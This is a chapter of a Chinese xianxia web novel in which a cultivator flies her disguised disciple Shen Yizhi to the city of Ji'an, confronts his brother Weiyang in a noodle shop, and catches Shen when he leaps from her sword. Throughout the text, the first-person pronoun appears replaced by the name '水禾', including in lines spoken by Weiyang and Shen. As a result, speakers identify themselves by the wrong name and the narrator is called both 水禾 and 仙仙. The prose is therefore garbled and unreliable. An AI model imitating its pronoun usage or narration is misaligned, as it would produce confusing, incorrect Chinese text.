第二次御剑飞行,沈夷之显然熟稔了许多,水禾拉着她的手一用力,她便轻巧地跳上了剑刃。 飞行在深不见底的黑海之上,沈夷之绷紧了身子不敢往下看,为了转移她的注意力,水禾与沈夷之有一搭没一搭地闲聊起来。 “质子私逃,你就不怕晟宁找冀安兴师问罪?” “这世间早就太平不了几日了。” “晟宁与冀安要战?” “还有黄泉碧落。” 水禾心中一惊,良久说不出话来。 昨天才在晟宁城中见过那样繁丽祥和的景象,转眼间却得知两国即将开战的消息,水禾心里仿佛梗着一根小刺,感到莫名的失落。 水禾见过战场的狼烟和篝火,知道断壁残垣的画面是怎样的,鲜血的味道于水禾来说也并不陌生。 可水禾不能插手凡间战事。 虽然从未亲眼见到过,但听师父说,这世间存在着一种名为规则的东西,万物皆有定律,不可轻易违背,若是水禾以一己之私打乱了世间的秩序,便会引来规则之雷,彼时,世间万物将被水禾牵连,引来灭顶之灾。 只有隐忍,方可保全大局。 沈夷之见水禾不再言语,兀自说起了有关冀安皇都的事情。 冀安城中有个无相宗,乃是内敛克制的修行教派,据沈夷之说,无相宗清心却不避世,入世却不名利,多年来只专心致志做着一件事情——占卜下一任国君。 “冀安国君不是世袭的?” 沈夷之轻轻摇了摇头,道:“只要被无相宗卜算出是下一任国君,不论乞丐或者国相,皆可做冀安国君。” “真是稀奇。” 水禾听到身后的沈夷之发出一声好听的轻笑,说:“原先水禾也觉得稀奇,可历来占卜当上国君的人无一不是治国有方。” 一个大国信奉天意到了如此地步,一定与巫术脱不了干系,水禾暗叹其中必有隐情,抿着嘴不再言语了。 眼看着前方云雾缭绕处隐隐地显现出古城的轮廓,水禾御剑停在城外,与沈夷之一同过了城关。 沈夷之走在前面领路,水禾跟在后面左顾右盼。 晟宁民风淳朴,城内住着的大多是普通的凡人,可冀安不一样,街道上行走的皆是精怪、异兽和修行者,光是和月半一样的蛟龙,水禾都见到过两三条了。 赶明儿水禾一定要把月半也拉来冀安城中遛一遛。 水禾正想着,倏地又想起沈夷之初次见到月半的蛟身时吓得不轻的样子,冀安城中精怪子民繁多,按理说,沈夷之早该见怪不怪了,又为何会被区区月半吓成那副模样。 水禾心中好奇,跨步跳到沈夷之身后,拍了拍她的肩膀。 “冀安城中蛟龙这么多,你昨日怎会被月半吓到?” 沈夷之一怔,连步子也停滞了一瞬,水禾一时没刹住,撞上了她的后背。 她的个子与水禾相仿,这一撞,水禾的鼻子恰好磕在了沈夷之的后脑勺,水禾吃痛,弯腰捂着鼻子哀嚎起来。 “不碍事吧?” 沈夷之将水禾扯到路边,半蹲下来查看水禾鼻子的伤势。 “你的后脑勺可真硬啊。”水禾伸手拍开沈夷之的手,兀自揉了揉自己的鼻头,还好只是有些泛红,并没有撞出鼻血。 沈夷之充满歉意地对水禾笑了笑,说:“等到了皇城,水禾让最好的医师给师父看看。” 她一口一个师父喊得亲昵,直喊得水禾没了脾气。 “罢了罢了,还不如水禾练功受的伤重呢。” “师父大人大量。” “你还没回答水禾的问题呢。” 沈夷之站起身,敛了面容压低了声音道:“知道为何冀安皇都凡人那么少吗?” 水禾不解,摇了摇头。 “这皇城之中的异兽和精怪,皆是用凡人做成的。” 冀安皇都并不像表面上那样祥和安定。 水禾心中大骇,从未听说过还有可以将凡人转化为异兽的秘术。 将寿命短暂的凡人变成不死不灭的异兽,难怪千百年来冀安城都毫无变化,因为从始至终,治国的人都是同一批。 水禾忽然感到背后没由来地一阵阴冷,扭头看去,却并无任何异常。 这地方不妙,还是早早离开得好。 水禾正兀自想着,沈夷之的肚子却不合时宜地发出一阵“咕噜噜”的声响,水禾向她脸上望去,却见她面无表情,仿佛刚才肚子发出怪声的人不是她。 沈夷之耳尖泛起的绯红出卖了她。 水禾不需食人间五谷,可沈夷之毕竟是个凡人,从昨天到现在,她似乎只吃了一块荷花酥。 “饿了?” “有点。” 水禾掂量了两下长袖中的钱袋子,还是决定带沈夷之吃些便宜的。 沈夷之领水禾进了一家极其普通的面馆,面馆很干净,只是铺子内没有日光,只有几支白烛燃着,青天白日的,却让人没由来地感到有些压抑。 水禾给沈夷之点了碗素面,自己要了杯清茶。 等了片刻,清茶没送来,沈夷之的素面却先送来了,水禾伸头瞄了一眼,顿时怔住。 这哪里是素面,简直是低配版满汉全席。 各种山珍海味整齐地码在破旧的瓷碗中,鲍鱼、干贝、鹿筋应有尽有,在沈夷之面前堆出了一座小山。 浓烈的鲜香味扑鼻而来,水禾眼馋,伸手把小二喊了过来,道:“再来碗素面!” 等了许久也没能等来水禾心心念念的素面,水禾抬头瞥了眼沈夷之,却见她从头至尾都没有动一筷子。 莫非是面中有古怪? 水禾警惕地环顾四周,抬手正要拔出头上的素钗,却听楼上忽然传来一声轻笑。 水禾抬头,却望见一双与沈夷之极其相似的眉眼。 他的好看比沈夷之少了些攻击性,唇边挂着如春风般和煦的笑,一下晃了水禾的眼,水禾的大脑登时宕机,脑海中浮现出两个词来。 宽敛如水,温润如玉。 那人穿着月白色长衫,袖口和衣襟处绣有繁丽的暗纹,眉目如岚川一般,见水禾朝他望去,更是将面前的一把折扇扇得风流儒雅。 坐在水禾面前的沈夷之忙不迭站起身,对着那人喊了一声:“哥哥。” 难怪二人长得如此相像。 沈夷之的哥哥并不理会她,兀自摇着折扇下楼踱步到水禾面前,水禾的目光追随着他,想要看清他葫芦里究竟卖的是什么药。 “如果水禾猜得不错,阁下该是仙仙山上的人物罢。” 他说话时依旧轻轻扑扇着那柄折扇,将他身上清幽的药草香气带到了水禾面前。 好端端的冀安世子,身上为何会有如此浓烈的草药味道,水禾多留了个心眼,屏住呼吸,不动声色地拉开了与他之间的距离。 水禾虽在这世间难逢敌手,可明枪易躲暗箭难防,水禾不了解他,若是他使下三滥的招数暗算水禾,只怕水禾的胜算并无多少。 师父曾教水禾与凡人相与多留些心眼,水禾一直牢记在心。 他见水禾不说话,又轻轻地笑了一声,道:“怪水禾礼数不周,水禾是沈夷之的兄长,名叫未阳。” 沈夷之。 未阳。 一月一日,当属阴阳。 先是无相宗卜算历代君主,后是都城之中遍布由人转变成的异兽,最后再到两个世子的名字……使水禾不得不多想。 “叫水禾仙仙就行。” 水禾装作若无其事的样子同未阳打哈哈,一边伸手将沈夷之拽到身前帮水禾挡住他。 “前日水禾路过晟宁,碰见你阿妹被人追杀便顺手救下,原是想到皇城之中拜访,却碰巧在这里相见了。” 水禾出口解释,却对要收沈夷之为徒的事只字未提,眼下还未搞清楚状况,还是小心行事为妙。 未阳依旧不看沈夷之,只是专心致志地盯着水禾的眼睛听水禾讲话,待水禾讲完,他才挑眉轻笑,虽笑得绝世无双,但那笑意里却饱含着赤裸裸的轻蔑。 “阿妹?在下并无妹妹。” “可……”可水禾分明听见沈夷之叫你哥哥,还不待水禾一句话说完,沈夷之就径直走向未阳,在他面前两步的位置单膝下跪。 “愚弟有错,当日情况紧急,水禾为逃出深宫换作一身女儿装扮,实在有损冀安颜面,还请兄长责罚。” 水禾站在一旁,听得眉心出了汗。 捡来的美女徒弟,竟然是个男儿身。 水禾还停留在晴天霹雳般的重大打击中,却见清风不扰片叶不沾的未阳“啪”地一声合上了手中的折扇,那折扇内有玄机,竟然在未阳的手中化作一柄短刃。 未阳面不改色,将短刃扔到沈夷之面前。 冰冷的兵器撞击到地上,发出如冰块撞击般的清脆声响,直叫人惊得指尖一寒。 平白刮起一阵穿堂风,将面铺里搁着的白烛吹得烛影恍惚,沈夷之跪在地上的影子被烛影映照在身后的地面上,不断缩短又拉长。 水禾此时才明白为何唯有这家面铺里放着白烛。 未阳恭候多时,分明是要沈夷之有来无回。 如那日水禾所见的一样,即便是赴死,沈夷之的脊背依旧挺得笔直,他伸手去拿面前泛着冷光的短刃,脸上连一丝犹豫和害怕都没有。 原本只是沈夷之的家务事,要杀要剐也与水禾这个外人无关,可水禾心里却无故生出一股悲天悯人的怜爱来。 水禾拿起桌上的筷子向地上的短刃掷去,水禾在这支筷子里注入了灵力,原是想将那只短刃投碎,可眼前却忽然闪过一道白影。 霎时间,筷子化作粉末,原本搁着短刃的位置空无一物。 再抬眼,却见未阳手里攥着那把折扇,在手心里来回摩挲。 沈夷之依旧在地上跪着,声音不卑不亢,道:“谢兄长不杀之恩。” “你该谢谢你的师父才是。” 未阳躬身在方才仙仙和沈夷之待过的方桌上坐下,叫小二来把那碗豪华的素面撤下去,换成了一壶上好的清茶。 水禾正纳闷未阳怎会知晓水禾要收沈夷之为徒的事,未阳却忽然冲水禾招手,要水禾同他一起坐下喝茶。 “请坐。” 水禾记挂着仍旧挺直背跪在地上的沈夷之,伸手要拉他起来,可他一拂手挣脱了水禾的手,固执地低着头盯着面前那一寸小小的地面出神。 臭小子,水禾还没怪他男扮女装欺骗水禾的事情,他却这样拂了水禾的一片好意。 水禾心里窝火,不再管他,兀自在未阳面前坐下了。 未阳将折扇放在桌上,伸手为水禾斟了一杯茶,他的手很白,骨节分明,仿佛白玉一般。 桌上摆着的是一套初雨牧童的白瓷茶具,模样考究,入手升温,并不是这样朴素的面馆能拿出 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未阳听了水禾的话并未有所反应,目不转睛地盯着杯中的清茶。 “无相宗卜算出沈夷之于冀安不详,恳请仙仙前辈收他为徒,洗去他一身邪骨,归于正途,”他顿了顿,目光移向身后跪着的沈夷之背上,又道:“水禾期待与沈夷之再相见的那天。” 水禾还未将收沈夷之为徒的意图公之于众,未阳却反倒先恳求起水禾来。 奇怪。 整个冀安城都笼罩在一层疑云之中。 纵使沈夷之是不可多得的修仙奇才,但如果收他为徒的代价是要卷入冀安与晟宁之间的争斗,水禾宁可此生都不收徒。 未阳看出水禾脸上的踟蹰,笑着用指节叩了两下桌面,将水禾飘远的思绪重新引回来。 “仙仙前辈无需忧虑,未阳与仙仙前辈的师父相识多年,您若是不信,大可以回去问他。” 水禾冷笑一声,反问他:“既然你与水禾师父相识,为何不让他收沈夷之为徒?” 未阳的眉目间含着无法捉摸的情绪,最后都化作了唇边的一抹笑意,他定定地望着水禾的双眼,轻声道:“清水大人不再收徒已是人尽皆知的事情,但您不同,清水大人无法左右您的意志。” 水禾还想再张口辩驳,未阳却又开始低头摆弄起手中的折扇。 折扇上的机关发出“咔嚓”的细小响动,转眼间就又化作成了匕首的模样。 他兀自盯着手中的短刃,嘴角轻扬,道:“沈夷之只有两个选择,拜仙仙前辈为师,或者是——死。” “你威胁水禾?” “未阳不敢,只是生死有命,为了冀安的祥和安定,未阳只能这么做。” 眼前的茶水还残余着最后一丝热气,袅袅而起,未阳轻轻端起面前的那杯清茶,整张沉敛的面庞都掩映在茶气之中。 透过缥缈的白色热气,未阳与水禾四目相对。 水禾实在受不住这样压抑的气氛,猛地站起,一掌拍在桌面上。 “哗啦——” 桌子顷刻间化为粉末,桌上的初雨牧童白瓷杯应声摔碎。 茶水飞溅到未阳身上,月白色的长衫沾湿一片。 “沈夷之,跟水禾走。” 水禾负气转身离开,身后传来沈夷之慌忙从地上爬起的窸窣声响。 未阳先是一愣,旋即朗声笑了出来,他对着水禾离去的方向拱手行礼,清亮的声音从水禾身后传来,“仙仙前辈慈悲,改日未阳一定登门拜谢!” 言毕,他捡起地上一只未被摔碎的瓷杯,透亮的杯中还有一点茶水,他扬手一掷,杯中茶水尽数飞向窗边的白烛,“刺啦”一声,白烛熄灭,未阳整个人都笼在阴影之中。 水禾在人群之中穿梭,步子飞快。 原先还以为是捡到了宝,这下看来,沈夷之简直就是烫手的山芋。 “气死水禾了!” 水禾当着众人的面拔出头上的素钗化作巨剑,纵身一跃跳了上去,反正整个冀安城中全是异兽精怪,也不多水禾一个修行者。 沈夷之被水禾甩在身后,步子跌跌撞撞。 应该是方才在地上跪久了的缘故。 水禾无奈地叹息了一声,御剑折返,一伸手将沈夷之拽到了身后。 水禾心中憋闷,御剑的速度便格外得快,沈夷之在水禾身后大气不敢出,再也顾不上什么礼义廉耻,搂在水禾腰间的手紧了又紧。 这天下何其之大,却容不下一个沈夷之,若是水禾今日对他不管不顾,恐怕他比那日的大胡子死得还要凄惨。 总而言之,还是先将沈夷之的命救下再说。 水禾心中有气,无法疏解,忽然想起今日正好是流光结束禁闭的日子,便想着不如找他好好打上几圈骨牌再回仙仙山。 水禾动心起念,御剑往晟宁的方向飞去。 沈夷之适应了水禾御剑的速度,努力说服自己睁开了双眼,才眯开一条缝隙,却发觉眼前的景色正是去往晟宁的道路。 他大着胆子,在水禾身后喊了一声:“师父……” 迎面的风太大,将水禾的额发都掀飞,更遑论沈夷之细若蚊呐的低吟,水禾听不清他说了些什么,自顾自御剑飞往晟宁城中流光的宅邸。 沈夷之发觉水禾并不理会他,眼看离晟宁越来越近,沈夷之心中一急,便贴上了水禾的耳朵,问水禾:“师父是要送水禾回晟宁皇城?” 水禾还未消气,故意开口呛他:“怎么,怕死?” 沈夷之在水禾身后轻轻摇了摇头,缓缓松开了搂在水禾腰间的手,道:“虽还未好好行过拜师礼,但师父已多次救水禾于水火,水禾这一条命都是师父的,师父要水禾死,不用那么麻烦。” 水禾还未有所反应,却感到身后猛地一空。 扭头一看,沈夷之已然跳下了巨剑,他如水一般的眸子望着水禾,脸上是不惊不扰的微笑。 那根束缚着他头发的衣带被风吹散,一转眼就消失在风中了。 难怪沈夷之和未阳是亲兄弟,给人添麻烦的本事都是一等一的。 巨剑听水禾号令直直冲向沈夷之,可他偏执,被巨剑接住后又挣扎着往下跳,水禾看在眼里,只觉得太阳穴都不受控制地突突跳了两下。 麻烦。 水禾将巨剑收回来,化作缭绕在水禾腕上的一只镯子,然后纵身去追往下坠落的沈夷之。 “谁要你自作主张跳下去的?” 水禾一把抓住沈夷之的手腕,将他揽进了怀里。 离地面的距离已经极近了,水禾脚尖一点旋即落在房檐之上,身边没有了呼呼作响的狂风,沈夷之身上好闻的山涧草木清香飘进了水禾的鼻子里。 水禾低头瞟了一眼,这才想起沈夷之身上还穿着水禾的衣衫。 沈夷之依旧依偎在水禾怀里,浑身绷得僵硬,只有一双眼珠咕噜噜地转来转去,他的脸色惨白,显然是受了不少惊吓。 “怕成这样还要往下跳,真不懂你脑子里装的都是些什么。” 沈夷之听水禾说话才回过神来,艰难地扭动脖子从水禾怀里挣扎着站起来,他年岁看起来不大,与水禾并肩而立时个头只堪堪到水禾肩头。 他此时一副低眉垂眼的样子,看起来倒与他那个叫做未阳的兄长有七成相像。 天色渐昏。 就在水禾以为他不准备出声的时候,他却忽然抬头望向水禾。